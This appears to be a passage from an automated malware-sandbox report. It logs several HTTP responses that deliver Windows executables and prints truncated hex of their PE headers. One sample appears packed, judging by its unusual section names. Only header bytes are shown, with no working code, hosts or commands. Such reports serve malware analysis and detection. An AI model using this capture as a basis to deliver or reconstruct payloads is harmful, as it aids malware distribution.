00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 13:43:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 13:43:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 13:43:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 13:43:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 13:44:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 13:44:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 13:44:07 GMTContent-Type: application/octet-streamContent-Length: 1881088Last-Modified: Fri, 22 Nov 2024 13:41:15 GMTConnection: keep-aliveETag: "674089fb-1cb400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 50 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4a 00 00 04 00 00 1d 5a 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 33 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 33 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 79 64 62 6e 6d 6a 72 00 a0 19 00 00 a0 30 00 00 94 19 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 74 78 66 66 78 6e 73 00 10 00 00 00 40 4a 00 00 06 00 00 00 8c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4a 00 00 22 00 00 00 92 1c 00 00 00 